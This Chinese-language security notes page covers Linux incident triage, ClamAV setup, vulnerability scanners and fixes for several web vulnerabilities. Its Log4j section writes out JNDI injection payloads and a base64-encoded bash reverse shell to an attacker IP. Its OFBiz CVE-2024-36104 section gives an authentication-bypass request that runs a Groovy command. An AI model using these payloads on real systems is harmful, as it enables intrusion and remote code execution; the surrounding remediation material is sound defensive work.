网络安全

介绍

常用解决方法

1
2
3
4
5
6
7
8
9
10
11
12
13
# 病毒文件一般为/tmp目录的影藏文件(最后需要删除病毒文件,一般可根据此病毒文件名查找对应病毒)
ls -al /tmp

# 查看ssh登录情况(注意IP,如对应ip为当前机器内网ip则病毒应该来源于本机运行的其他程序,而非直接ssh登录)
less /var/log/secure | grep 'Accepted' # 登录成功的
less /var/log/secure | grep Failed | grep '2023-09' # 登录失败的

# 监控进程:每2秒中执行一下命令
# 如对其他机器造成了攻击行为(1.直接置入木马程序,此时查看端口和进程 2.通过攻击登录等端点,假设端点内访问了其他服务器,从而造成对其他服务器的攻击行为)
watch -n 2 -d 'netstat -anp|grep :80|more'

# 查看定时任务
crontab -l

查杀毒工具

fscan内网综合扫描工具

  • fscan
    • ./fscan.exe -h 192.168.1.10
    • 扫描OFBiz-13.7漏洞两个:CVE-2018-8033、CVE-2020-9496
    • 支持xray的poc
  • xray
    • ./xray_windows_amd64 webscan --basic-crawler http://localhost:8080/ --html-output xray-crawler-testphp.html
      • 第一次允许会失败(因为缺少配置文件,并会自动生成,重新运行即可)
    • 如基于爬虫扫描OFBiz-13.7漏洞两个:CVE-2018-8033、CVE-2020-9496
    • 支持自定义poc,内置819种poc文件
  • acunetix(AWVS)
  • PocSuite
    • 需针对某个病毒编写POC文件,较麻烦,非一键探测
  • clair
    • 本地Docker镜像安全分析

ClamAV文件查毒(linux)

  • ClamAV 是Linux平台上领先的开源命令行病毒扫描程序,占用内存和CPU并不高。支持Linux/Windows/Mac等多平台
  • 官网Doc
  • ClamAV包含clamscan命令(开销大,适合一次性扫描)、clamd服务(会启动守护进程,开销小,适合不定时响应客户端文件扫描请求)、freshclam(病毒库更新工具)等

nuclei自定义漏洞扫描器

安装使用(v0.102.2-3)

  • 安装使用 ^3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
## 安装
yum install -y epel-release
# yum -y install clamav # 如果只使用clamscan、freshclam命令
yum -y install clamav-server clamav-data clamav-update clamav-filesystem clamav clamav-scanner-systemd clamav-devel clamav-lib clamav-server-systemd # 如果需要使用clamd服务

## 使用
# 手动更新病毒库,详见下文。安装成功默认无病毒库,需要更新,否则直接扫描可能会报错No supported database files found in /var/lib/clamav
sudo freshclam
# 更新失败(提示FreshClam received error code 403)可修改clamav病毒库镜像。参考:https://github.com/Cisco-Talos/clamav/issues/851
# vi /etc/freshclam.conf # 将`DatabaseMirror`的值修改为`https://packages.microsoft.com/clamav/`

# 查看版本
clamscan -V
# 扫描,只显示找到的病毒信息并记录到文件(测试耗时1h)。若带有FOUND字样的行,说明该文件为可疑的病毒木马文件;且 Infected files 显示了受感染的文件数
# -r 递归扫描子目录; 不加 -i 选项可打印所有扫描的文件但不会写入到日志文件,这样方便实时查看扫描进程
clamscan -ri / --exclude-dir="^/sys" -l clamscan.log


## 测试病毒
# 下面为 EICAR 病毒字符串(http://www.eicar.org/anti_virus_test_file.htm)。不能再多加字符,否则md5和病毒库中md5不匹配会导致认定为正常文件
cat > eicar.txt << 'EOF'
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
EOF

clamscan eicar.txt # 扫描结果如下
<<COMMENT
eicar.txt: Eicar-Signature FOUND

----------- SCAN SUMMARY -----------
Known viruses: 11351246
Engine version: 0.102.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 30.895 sec (0 m 30 s)
COMMENT
  • clamd服务使用(可选)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 修改配置。/etc/clamd.d/scan.conf 即为其他网络教程说的 clamd.conf
cp /etc/clamd.d/scan.conf /etc/clamd.d/scan.conf.bak
sed -i -e "s/^Example/#Example/" /etc/clamd.d/scan.conf
sed -i -e "s@^#LocalSocket /run/clamd.scan/clamd.sock@LocalSocket /run/clamd.scan/clamd.sock@" /etc/clamd.d/scan.conf
# 开启TCP连接
sed -i -e "s/^#TCPSocket 3310/TCPSocket 3310/" /etc/clamd.d/scan.conf
sed -i -e "s/^#TCPAddr 127.0.0.1/TCPAddr 127.0.0.1/" /etc/clamd.d/scan.conf

# 启动服务
sudo systemctl enable clamd@scan && sudo systemctl restart clamd@scan && sudo systemctl status clamd@scan

# 测试
clamdtop # 查看clamd服务运行情况
# 此时一定要注意 clamscan 用户(clamd特殊用户)需要有此文件和此文件的父目录的访问权限,否则报错 lstat() failed: Permission denied. ERROR
# clamdscan将要扫描的对象发送到一直运行的守护程序(clamd);clamscan更像是一个客户端应用程序,由于启动它的开销很大,理想情况下应用于一次性扫描
clamdscan /test/eicar.txt

# 通过SOCKET测试(基于netcat工具),需要clamd开启TCP连接
nc 127.0.0.1 3310
PING # nc连接后输入命令,会返回PONG
SCAN /test/eicar.txt # 扫描文件
  • 启用freshclam自动更新病毒库(可选)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 方法一
cp /etc/freshclam.conf /etc/freshclam.conf.bak
sed -i -e 's/^Example/#Example/' /etc/freshclam.conf
cat > /usr/lib/systemd/system/freshclam.service << 'EOF'
# Run the freshclam as daemon
[Unit]
Description = freshclam scanner
After = network.target
[Service]
Type = forking
ExecStart = /usr/bin/freshclam -d -c 4
Restart = on-failure
PrivateTmp = true
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable freshclam && sudo systemctl restart freshclam && sudo systemctl status freshclam

# 方法二
crontab -e
00 01,13 * * * /usr/bin/freshclam --quiet
  • 周期自动扫描服务器(可选)
1
2
3
4
5
6
7
# 每天11点进行文件扫描
crontab -e
0 23 * * * root /usr/local/bin/clamscan.sh

# 配置扫描文件
vi /usr/local/bin/clamscan.sh
clamscan -r -i /home --move=/opt/infected -l /var/log/clamscan.log

相关命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 参考:https://www.cnblogs.com/sztom/p/13222917.html
clamscan # 一个命令行程序,用于扫描不需要 clamd 守护程序的文件和目录
# -r 递归扫描子目录
# -i 只显示发现的病毒文件(**不加此选项可打印所有扫描的文件但不会写入到日志文件,这样方便实时查看扫描进程**)
# --exclude-dir 忽略目录。--exclude-dir="^/sys"忽略/sys是sysfs虚拟文件挂载点(病毒不会感染),否则容易报错LibClamAV Warning: fmap_readpage: pread fail: asked for 4094 bytes @ offset 2, got 0。参考 https://askubuntu.com/questions/591964/clamav-cant-read-file-error
# -l 记录结果到文件,多次扫描的日志会append到此文件
# --no-summary 不显示统计信息
# --max-filesize 100M 默认最大扫描文件是25M,超出则会报错如:LibClamAV Warning: cli_scanxz: decompress file size exceeds limits - only scanning 27262976 bytes。参考:https://superuser.com/questions/956128/what-does-this-clamav-message-mean
# --remove 检测到有病毒时,直接删除

# 签名病毒库(cvd)更新工具(病毒库大概300M)
# 配置文件 /etc/freshclam.conf,本地病毒库目录 /var/lib/clamav
# 亦可到 https://www.clamav.net/download.html#collapseCVD 手动下载 main.cvd、daily.cvd、bytecode.cvd上传到病毒库目录目录(可使用迅雷下载),还可搭建自己的病毒库镜像服务
sudo freshclam

clamd # 多线程守护程序。当 clamd 运行时,使用这些工具来与它进行交互:
clamdtop # 要监视的命令行 GUI clamd(需要启动clamd服务)
clamdscan # 通过命令行程序扫描文件和目录(clamdscan 和 clamscan 类似。clamdscan必须启动clamd服务,执行速度快)
sigtool # 一个签名数据库(cvd)操纵工具 - 用于恶意软件分析师和签名编写者
libclamav # clamav 库 - 因此您可以将 ClamAV 引擎构建到您的程序中
clambc # 另一种专门用于字节码签名的签名操作工具
sudo clamconf # 用于检查或生成 ClamAV 配置文件并收集有助于远程调试问题所需的其他信息的工具
clamav-config # 用于检查 ClamAV 如何编译的附加工具

ClamAV与业务系统整合(查杀上传的文件)

  • 整合路程图 ^4

clamav-service

  • java的ClamAV杀毒引擎服务器可以基于clamav-rest实现

关于病毒库测试

  • 病毒库说明 ^1
1
2
3
4
5
6
# 进入病毒库目录,病毒库文件:main.cvd、daily.cvd、bytecode.cvd
cd /var/lib/clamav
# 解压病毒库文件:main.ndb 十六进制特征码;main.hdb 已知的恶意软件文件的MD5哈希值;main.mdb Windows PE恶意软件文件的MD5哈希值
sigtool -u main.cvd
# 查看病毒库
sigtool -l main.cvd
  • 构造属于自己的恶意软件特征库(未测试成功)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
echo 123 > test.sh
clamscan test.sh
<<COMMENT
test.sh: OK

----------- SCAN SUMMARY -----------
Known viruses: 11351246
Engine version: 0.102.2
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 30.223 sec (0 m 30 s)
COMMENT

# 生成md5哈希库
sigtool --md5 test.sh > test.hdb
cat test.hdb # ba1f2511fc30423bdbb183fe33f3dd0f:4:test.sh
vi test.hdb # ba1f2511fc30423bdbb183fe33f3dd0f:4:Vir-test.sh
# 利用test.hdb来查杀
clamscan -d test.hdb test.sh

其他用法

攻击工具

测试靶场

  • Vulhub
    • Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境
  • vulfocus
    • Vulfocus 是一个漏洞集成平台,将漏洞环境 docker 镜像,放入即可使用。支持在线使用

常见漏洞(未分类)

CSRF和XSS

高危漏洞

CVE-2021-44228(Apache-Log4j漏洞)

  • 重要
  • 漏洞原理

    • 找到程序会打印的代码入口,输入恶意代码(指定LDAP服务器不存在的资源)
    • log4j如果出现${}则会对里面的属性进行解析
    • log4j的使用的JNDI会自动进行动态协议转换(假设初始化的是rmi://远程地址,当用户输入jndi:ldap://会自动转成ldap协议进行资源查找)
    • 在解析属性的时候,会自动访问ldap服务并下载(假设此服务对应地址为攻击者假设的服务器,就会自动下载攻击者提前放好的资源,如可执行class文件)
    • 系统下载到class文件资源后会自动加载,从而会自动执行攻击者提前写好的static中的代码

      • 假设此class资源是一个引用new Reference("refClassName","insClassName","http://ip:port/");
      • 会现在本地查找此class,没有的话就会通过file/ftp/http等协议下载

      CVE-2021-44228-1.png

  • 受影响版本
    • 使用了log4j的组件,< Apache Log4j 2.12.2 (JDK7) 或 < Apache Log4j 2.16.0 (JDK8)
  • 漏洞复现参考
  • 漏洞复现(简单检测)
    • 访问 http://www.dnslog.cn/,点击Get SubDomain获取一个临时域名(如: wmmdmx.dnslog.cn)
    • 漏洞主要是要让Log4j打印攻击者输入的内容,假设网站登录会打印用户名
    • 此时登录用户名输入${jndi:ldap://t1gmsu.dnslog.cn}
    • 然后回到dnslog,点击Refresh Record,如果有记录说明存在漏洞(一个域名只能检测一次,长时间执行需要重新获取域名)
  • 漏洞复现(打开本地计算器)
    • 在VPS上执行java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 10.10.10.10
      • 此VPS攻击者自己的外网服务器,假设外网IP为10.10.10.10
      • calc.exe为攻击者在被攻击服务器上执行的打开计算器命令,如果是mac则为/System/Applications/Calculator.app
      • 参考JNDI注入测试工具 JNDI-Injection-Exploit
    • 此时登录用户名输入如${jndi:ldap://10.10.10.10:1389/sddydl}后提交(具体命令根据上述jar打印的来执行,分JDK7/JDK8)
  • 漏洞复现(反弹shell)
    • 反弹shell介绍
    • 法一(如攻击者使用的linux)
      • 启动监听nc -l 9091(反弹shell会显示在此命令行)
      • 将反弹shell命令进行base64加密bash -i >& /dev/tcp/10.10.10.10/9091 0>&1,得到如YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85MDkxIDA+JjE=
      • 执行java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85MDkxIDA+JjE=}|{base64,-d}|{bash,-i}" -A 10.10.10.10
      • 然后登录用户名输入如${jndi:ldap://10.10.10.10:1389/sm0syp}后提交
      • 此时nc监控命令行会显示被攻击服务器shell
    • 法二(如攻击者使用windows): 参考https://github.com/bkfish/Apache-Log4j-Learning/tree/main
      • 需修改ExecTemplateJDK7.java中的端口为VPS端口
      • 其中python3 -m http.server 9092需在ExecTemplateJDK7.class目录执行,相当于启动一个简单服务器
      • 然后通过marshalsec-0.0.3-SNAPSHOT-all.jar启动JNDI服务
  • 漏洞修复
    • 升级到Apache Log4j 2.12.2 (JDK7) 或 Apache Log4j 2.16.0 (JDK8)

CVE-2022-25845(FastJson代码执行漏洞)

CVE-2024-36104(OFBiz路径遍历致权限绕过)

jira文档说明

  • 漏洞复现说明:直接使用postman测试(或者使用nuclei)
1
2
3
4
5
6
7
8
9
10
# ProgramExport为之后版本新加的接口路径(功能是基于参数执行groovy脚本),13.7没有
# %2e 为 . 进行了URL编码;CVE-2024-25065 复现就是请求 /webtools/control/forgotPassword/././ProgramExport
# /webtools/control/forgotPassword 为忘记密码功能是不需要验证登录的,而ProgramExport是需要登录验证的,此处使用././从而绕过了权限验证进行了脚本执行
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: x.x.x.x
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Type: application/x-www-form-urlencoded

# 请求参数进行了Unicode编码,实际值为"throw new Exception('id'.execute().text);",相当于在linux下执行id命令并获取返回值
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
  • 解决说明参考上文,如13.7版本可直接手动增加补丁
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// ContextFilter.java

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;

String initialURI = httpRequest.getRequestURI();
if (initialURI != null) {
try {
String uRIFiltered = new URI(initialURI)
.normalize().toString()
// 有时候会出现这样的情况 https://localhost:8080/webtools/control/main;jsessionid=0DA3D23224D65DFE3A234CD2BA0BAAB8.jvm1 如果直接替换;会导致登录失败
.replaceAll("(?i);jsessionid=", "@@@jsessionid=@@@")
.replaceAll(";", "")
.replaceAll("(?i)@@@jsessionid=@@@", ";jsessionid=")
.replaceAll("(?i)%2e", "");
if (!initialURI.equals(uRIFiltered)) {
Debug.logError("For security reason this URL is not accepted", module);
throw new RuntimeException("For security reason this URL is not accepted");
}
} catch (URISyntaxException e) {
throw new RuntimeException(e);
}
}

// ...
}

使用TLS1.0和1.1版本

  • 解决方法: 仅开启TLSv1.2版
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
listen 443 ssl http2;
#...

# 只开启TLS 1.2(如果XP系统不支持, 可尝试补丁 https://blog.csdn.net/cwm_meng_home/article/details/108241067)
ssl_protocols TLSv1.2;
# HIGH代表是高级的加密套件,也就是密钥长度大于128位的,在openssl的ciphers中,还有MEDIUM和LOW,但是LOW已经在openssl 1.0.2g中禁用了
# XP系统增加上述补丁也不支持仅配置HIGH这种模式
ssl_ciphers HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4:!3DES;
#ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4:!DH:!DHE:!3DES; # XP支持

# 同时支持TLSv1 TLSv1.1 TLSv1.2
#ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
#ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4:!DH:!DHE:!3DES;

#...
}

Http头Hostname攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 方法一(如果启用了https,则配置一下80到443的重定向,并去掉此处80的配置)
server {
listen 80 default_server;
server_name _;

location / {
return 403;
}
}
server {
listen 443 ssl http2 default_server;
server_name _;
ssl on;
ssl_certificate "/etc/nginx/my_nginx.cer";
ssl_certificate_key "/etc/nginx/my_nginx.pem";
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 10m;
# 只开启TLS 1.2(XP系统不支持, 且不支持HIGH)
ssl_ciphers HIGH:!aNULL:!MD5:!3DES;
ssl_protocols TLSv1.2;
#ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4:!DH:!DHE:!3DES;
#ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;

location / {
return 403;
}
}

# 方式二(nginx v1.10.2 无效)
server {
listen 443;
server_name 127.0.0.1 192.168.1.10 example.com www.example.com;
if ($http_Host !~* ^127.0.0.1|192.168.1.10|example.com|www.example.com$) {
return 403;
}
root /www/demo;
}

中危漏洞

SSL/TLS协议信息泄露漏洞CVE-2016-2183

低危漏洞

不安全链接 (target=”_blank”)

  • 参考: https://zhuanlan.zhihu.com/p/53132574
  • 修复方法: 将<a href="https://example.com" target="_blank">链接</a> 改成 <a href="https://example.com" target="_blank" rel="noopener noreferrer nofollow">链接</a>,即增加属性rel="noopener noreferrer nofollow"

cookie未设置Secure标识

  • Cookie中有一个Secure标识,如果设置了,那么这个cookie只会再https下被发送出去,https的传输时加密的,减少敏感cookie再http明文传输时泄露的可能性
  • JSESSIONID等信息应该设置,如果没有敏感信息则风险会降低
  • 修复方法: https://www.cnblogs.com/kelelipeng/p/15817128.html
    • 拦截器方案貌似有点问题,建议使用配置
  • web.xml配置方案
1
2
3
4
5
6
7
8
9
10
<!-- 响应体如 Set-Cookie: JSESSIONID=E5D13A2C8A5C951E22BC409C6114E5B5.jvm1; Path=/home/demo/; Secure; HttpOnly -->
<session-config>
<session-timeout>60</session-timeout><!-- in minutes -->
<cookie-config>
<!-- HttpOnly 是一种 cookie 属性,它的作用是防止客户端的脚本语言(如JavaScript)访问和操作 cookie。当一个 cookie 的 HttpOnly 属性被设置为 true 时则只能通过HTTP模式访问,客户端脚本无法通过 document.cookie 或其他方法读取或修改该 cookie -->
<http-only>true</http-only>
<!-- 只能通过HTTPS访问 -->
<secure>true</secure>
</cookie-config>
</session-config>

带自动完成的密码字段

  • 解决办法
1
2
3
4
5
6
7
8
`autocomplete`值可以在两个不同的位置进行配置。

第一个也是最安全的位置是禁用`<form>` HTML标签上的`autocomplete`属性。 这将禁止该窗体中的所有输入的“自动完成”。
在form标签中禁用`autocomplete`的例子是`<form autocomplete=off>`。

第二个不太理想的选择是为特定的 `<input>`HTML标签禁用`autocomplete`属性。
尽管从安全角度来看,这可能是不太理想的解决方案,但从可用性的角度来看,这可能是优选的方法,这取决于表单的大小。
在密码输入标签中禁用`autocomplete`属性的例子是`<input type=password autocomplete=off>`。

可直接访问文档文件

  • 如可访问https://example.com/lib/README.md
  • 修复方法
1
2
3
4
# 静止访问文件后缀	
location ~ \.(txt|md|git|svn|env|ini|htaccess|conf|project)$ {
deny all;
}

信息漏洞


参考文章

ChatGPT开源小程序